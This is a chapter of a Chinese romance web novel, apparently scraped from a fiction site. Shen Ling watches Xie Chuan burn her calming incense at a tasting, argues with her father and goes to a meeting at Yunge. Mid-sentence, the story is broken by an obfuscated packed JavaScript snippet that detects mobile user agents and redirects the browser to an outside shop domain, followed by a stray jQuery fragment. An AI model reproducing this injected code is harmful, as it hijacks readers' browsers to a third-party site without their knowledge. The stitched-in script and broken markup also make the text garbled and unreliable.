文趣网 > 都市小说 > 二爷,别这样 > 5. 第5章
    谢家的别院清净雅致,看起来不像是商贾之家,倒像个书香世家。

    品香的雅席设在院中的一间静室,静室正中那张香几上整齐排放着三尊宣炉。

    暮光入室,徐徐清风穿室而过,这个时辰正适合品香。

    沈泠被侍从带到时,众宾客皆已纷纷就座,她扫了一眼,没见到谢知礼,人似乎也比前面的宴席要少些。

    但她并未多想,依旧选了个不起眼的角落候着,也有人看向沈泠,但见她空手而来,便不甚在意地收回视线。

    又过了会,谢川才终于出现。

    沈泠见他换了一身衣衫,便忍不住多看了几眼,直到她的视线落到谢川手中那熟悉的香盒,她又愣住了。

    那香盒,不是她送的吗?

    不止沈泠看到了,其余人也都注意到了,满座的目光都落在谢川手中的香盒上。

    若是谢知礼在,他或许能认得出这是谁送的香,但眼下除了谢川,谢家其余人都理所当然地回避了。

    沈泠大感意外的同时,心中升起一种难以言喻的感觉。

    他记得她是“沈灼”,那应该也知道这香是她送的,也不知这安神香他用过没有,合不合心意。

    但沈泠来不及多想,因为谢川一入席就座,这场品香便拉开了帷幕。

    他入座后,便有侍从随后将众人献的香逐一取样放置在玉碟之上,在香几上一字排开,而后逐一由众人传观。

    按照规矩,品香第一道便是观形。

    沈泠方才瞧见香几上仅有三尊宣炉,便知今日最终仅有三款香能得到燃香的机会。

    但她本就只是凑个热闹,别人观形,她的心思却在谢川身上。

    有了不久前那一遭偶遇,沈泠瞥向谢川的视线收敛了许多,只看到他脸上的表情很淡,似乎没什么能引起他的兴致。

    主持这场品香的并不是谢川,而是那名姗姗来迟的老者。

    起初众人都以为谢川带着香盒来,是有中意的香要拿出一同品鉴,可他却始终都只静坐在主座上,并未表态。

    直到众人一致选出三款香后,他才微微点头示意。

    随着第一炉香燃起,一缕细软的香气缓缓氤氲开来,这室中皆是懂香之人,众人依次传炉,此间无人言语。

    待第一炉余香散尽后,才接着启了第二炉香、第三炉香,越往后,香的韵调便越为沉厚端庄,回甘绵长。

    就连沈泠的心也逐渐平复下来,闭眼凝神沉浸在清雅香韵中,细细品韵。

    而此时,谢川的视线也终于落在了沈泠身上。

    在座这些有些资历的人都已年长,反观沈泠年纪尚轻,又生得不凡,混在其中难免惹眼。

    但偏偏这样一个人,此情此景之下却毫不违和。

    谢川若有所思地从沈泠身上收回视线,指尖很轻地在香盒上点了点。

    待第三炉香气也尽数消散,众人方才缓缓睁眼,各抒己见,从香的层次谈起,又论至风骨。

    沈泠并没有开口,但她认真听下来,无非就是每款香都有出彩之处,总之就是各有千秋。

    等到该夸的都夸了,该吹的也都吹完了,众人才又纷纷看向主座上那位始终一言未发的人。

    说到底,香好不好是一回事,能否入得了谢川的眼又是另一回事。

    待室内静寂下来,谢川才抬起眼眸,他扫了一圈轻笑道,“我最近偶得一香,也想与诸位一同品鉴一二。”

    他的话音刚落,便有侍从恭敬地从旁取了一尊小巧的宣炉置于香几之上,又很快退至一边。

    一时间,室内有不少窸窣的衣物声响,但很快又静了下来,有一人应和道:“能一同品鉴,是我等荣幸。”

    随之,其余人也纷纷应是。

    唯有沈泠愣了愣,她不由攥紧了手心,不知是不是错觉,方才谢川似乎朝她这边多看了一眼。

    谢川先是慢条斯理地打开香盒,从中取出一支香,然后才站起身缓缓走到香几边。

    众人本以为谢川拿出的会是什么上品的好香,可定睛一看,竟只是看起来很寻常的线香,皆在心中不解。

    那线香色如初雪,但若看得细致,便能发现那香的表面还有几丝浅淡的青绿纹路。

    谢川用指尖拈起那支线香,将香头探入烛火,而后他手腕轻轻一抖,火苗湮灭之时,一缕如细线般的青烟冉冉升到半空,如墨入清水般慢慢舒展晕开。

    他将那线香斜斜插入宣炉,那青烟便顺着香身斜斜升起,很快初香便盈了满室,那香气淡若流云,是雨后寒梅的清冽。

    在座的人这才纷纷正色,眸中露出些许惊异,又很快闭眸品韵。

    那香安静地一点点烧着,不多时那清冽的梅香中,又缓缓散出松针的苍润,令人满心澄澈。

    直至一香燃尽,众人才意犹未尽地睁开眼眸,啧啧称奇。

    “竟只是安神香。”

    “依老夫看,最为难得的是这其中的梅香!以清立骨,以润藏韵,好香啊。”

    “敢问二爷,此香是出自哪位之手?”

    众人你一言我一语,都被提起了兴致,殊不知这制香的人此时正安静地坐在不起眼的角落里。

    这个风头,沈泠不打算出。

    她并没有忘记,现在站在这里的人是“沈灼”,代表的是沈家,她不会让沈家从她身上捞到任何好处。

    更何况,她制香全凭心意,这安神香本就是只为谢川制的,沈泠从没想过以此来博什么彩头。

    面对众人的询问,谢川笑而不语。

    他在等,等沈泠的反应,等她跳出来认领这份对沈家来说无法拒绝的诱惑,等她暴露来谢家的真实意图。

    但他没有等到。

    于是,谢川又垂眸很轻地笑了一声,意味深长地开口道:“我也很好奇,这香是出自何人之手。”

    那声音中带着玩味,别人听起来没什么,可落在沈泠耳里,便是意有所指。

    她有些纠结,但终究还是保持了沉默。

    谢川既知道这香是她送的,必然有所猜测,她没认,他便也故意不提,只怕还是怀疑上她了。

    余下的时间,沈泠也听不进去别的了,直到走出谢家,她都有些恍惚。

    原本只是想偷偷看看他的,没想到竟平白生出这些事,是不是应该再找个机会和谢川解释一番?

    沈泠心中犹豫,但她刚迈出谢家大门,身后便传来一道声音:“沈公子,请留步。”

    闻言,她停下脚步,回头便见到有一名男子朝她走来,沈泠认出这是平常跟在谢川身边的护卫。

    “沈公子,我家爷请您明日午时到云阁一叙。”

    说完,长风将一枚玉符递至沈泠面前,沈泠怔了一瞬,才伸手接过,道了声“多谢

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766282|209704||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    长风传完话便离开了,沈泠站在原地,好一会才将那玉符收了起来。

    好在沈家并没有派马车来接她,否则方才的事若是被沈家的人瞧见,回去定又要无事生非。

    回去的路上,沈泠都在想着谢川会是因为什么事找她,期待但又有些不安。

    直到快到沈家大门,她才将一切心绪收了起来。

    沈泠前脚刚踏进门,后脚便有人去向沈父通传说她从谢家回来了。

    因此,她才回屋堪堪坐下,门外便响起一阵火急火燎的脚步声,她不用抬头都知道是谁来了。

    “怎么样,今日可顺利?”

    沈父在家等了大半日,才等到沈泠回来,心中急切却又要摆出一副长辈的谱来。

    沈泠只觉得可笑,想着现在也没有装的必要了,便开口道:“以后应该不会有机会再去谢家了。”

    “什么意思?”沈父蹙眉。

    “字面意思,过几日我便会回泉港。”沈泠语气很平淡。

    相较之下,沈父脸上的表情几乎要裂开。

    他根本没想到沈泠会说出这种忤逆的话,但最令他动怒的不是这个,而是沈泠竟搞砸了沈家和谢家的关系!

    真是没用!

    沈父一掌拍在桌案上,“你还想不想回沈家了!”

    回沈家?

    沈泠实在想不明白,沈父为何到现在还会认为她想回到沈家,凭什么理所当然地认为她就该为沈家的利益牺牲?

    真以为她还是十年前一样可以任凭沈家摆布吗,如今沈家唯一与她还有点关系的便只是她的胞兄沈灼罢了。

    想到这,沈泠的眼神终于冷了下来,“我哥哥在哪。”

    沈父口口声声说沈灼是出走下落不明,可他究竟是出走还是被赶走,沈泠甚至都还抱着怀疑,毕竟这种事沈家未必做不出来。

    听到沈泠这一问,沈父方才被气晕的头脑才慢慢缓了过来,明明没听到谢家那边传来什么消息,怕不是沈泠故意这么说,在试探他的态度。

    想到这,沈父虽仍心有怒意,但面上还是缓和了些,为今之计是要稳住沈泠,等到泉港那边的事妥了,她就算不想留在上京,也只能留下。

    他假意安抚道:“你哥哥身体不好,我将他送去疗养了,不久便会回来,届时你想回泉港便回,没人拦你。”

    沈泠看着沈父拙劣的演技,心中冷冷嗤笑。

    人各有命,沈泠早就看透了这点,是以这些年她与胞兄也并未有过什么联系,沈家想以胞兄拿捏她,只能说打错了算盘。

    沈泠没有再说什么,沈父便当她是默认服软了,至于谢家那边什么情况,只需明日让人去打听打听便知。

    两人不欢而散,沈父离开后,沈泠才又拿出那枚玉符静静看了好一会。

    翌日。

    沈泠提前出了门,她特意拐了好几条街,确认身后没人跟着,才往云阁而去。

    午时的云阁热闹非凡,座无虚席,此处乃是上京最负盛名的酒楼。

    她刚踏进云阁,便有小二热络地上前接待,“这位客官,您可有提前约位?”

    沈泠摇了摇头。

    小二见状正打算开口婉拒,却眼尖地见她取出一枚玉符递了过来。

    待看清那玉符是何物之时,他才瞪大了双眼,连忙恭敬道:“这位贵客,请随小的来。”